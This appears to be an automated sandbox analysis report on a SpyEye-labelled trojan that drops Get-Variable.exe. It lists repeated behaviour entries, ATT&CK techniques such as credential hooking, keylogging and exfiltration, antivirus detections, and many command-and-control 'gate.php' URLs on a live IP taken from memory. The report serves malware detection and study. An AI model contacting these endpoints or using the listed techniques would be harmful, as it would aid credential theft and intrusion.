Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Command and Scripting Interpreter2	Scheduled Task/Job1	Process Injection12	Masquerading1	Credential API Hooking1	Security Software Discovery311	Remote Services	Credential API Hooking1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job1	DLL Side-Loading1	Scheduled Task/Job1	Virtualization/Sandbox Evasion31	LSASS Memory	Process Discovery2	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	PowerShell1	Logon Script (Windows)	DLL Side-Loading1	Process Injection12	Security Account Manager	Virtualization/Sandbox Evasion31	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Hidden Files and Directories1	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol12	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information1	LSA Secrets	System Information Discovery111	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading1	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
q2t57gIiIY.exe	21%	ReversingLabs	Win32.Trojan.SpyEye
q2t57gIiIY.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	21%	ReversingLabs	Win32.Trojan.SpyEye

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.2.q2t57gIiIY.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
7.2.Get-Variable.exe.18e0000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
7.0.Get-Variable.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.2.Get-Variable.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
7.2.Get-Variable.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.2.q2t57gIiIY.exe.1850000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.0.Get-Variable.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.2.Get-Variable.exe.1910000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.q2t57gIiIY.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282859q	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285n	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Az	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285o	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285p	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285q	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285r	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285s	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285t	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285u	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Aq	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285f	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285g	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285h	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285i	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285kZ	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285j	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Zg	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285k	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285l	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285m	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285_	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285a	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285sz	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Bf	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285KO	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285b	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285c	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285d	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285e	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285V	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282859z	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285W	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285X	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285sq	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Y	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Z	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285SM	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282850f	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282859O	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285AX	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285iz	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285AO	0%	Avira URL Cloud	safe
http://94.103.80.169/gat	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285~	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282851Z	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Y~	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285sX	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285)L	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Qp	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285jf	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285sO	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Pg	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285yp	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285YL	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285iX	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285/Z	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285iq	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285IM	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282857z	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282857q	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285.f	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282857O	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285gz	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285xg	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285-z	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285gq	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285iO	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285W~	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282857X	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Op	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285qM	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285/J	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Ng	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285wp	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285%Z	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285WL	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285=p	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285M~	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285gX	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285-X	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Ep	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285GM	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285-q	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285_Z	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285vg	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282853~	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285gO	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285$f	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285-O	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285oM	0%	Avira URL Cloud	safe
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285.	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282859q	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285n	Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.913979675.000000000466A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Az	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285o	Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285p	Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.913979675.000000000466A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285q	Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285r	Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285s	Get-Variable.exe, 00000007.00000002.911297784.0000000001A30000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285t	Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285u	Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Aq	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285f	Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285g	Get-Variable.exe, 00000007.00000002.911297784.0000000001A30000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285h	Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285i	Get-Variable.exe, 00000007.00000002.911297784.0000000001A30000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285kZ	Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285j	Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.913979675.000000000466A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Zg	Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285k	Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285l	Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285m	Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285_	Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285a	Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285sz	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Bf	Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285KO	Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285b	Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285c	Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285d	Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285e	Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285V	Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282859z	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285W	Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285X	Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285sq	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Y	Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Z	Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285SM	Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282850f	Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282859O	Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285AX	Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285iz	Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285AO	Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gat	Get-Variable.exe, 00000007.00000002.914123358.0000000004722000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285~	Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282851Z	Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
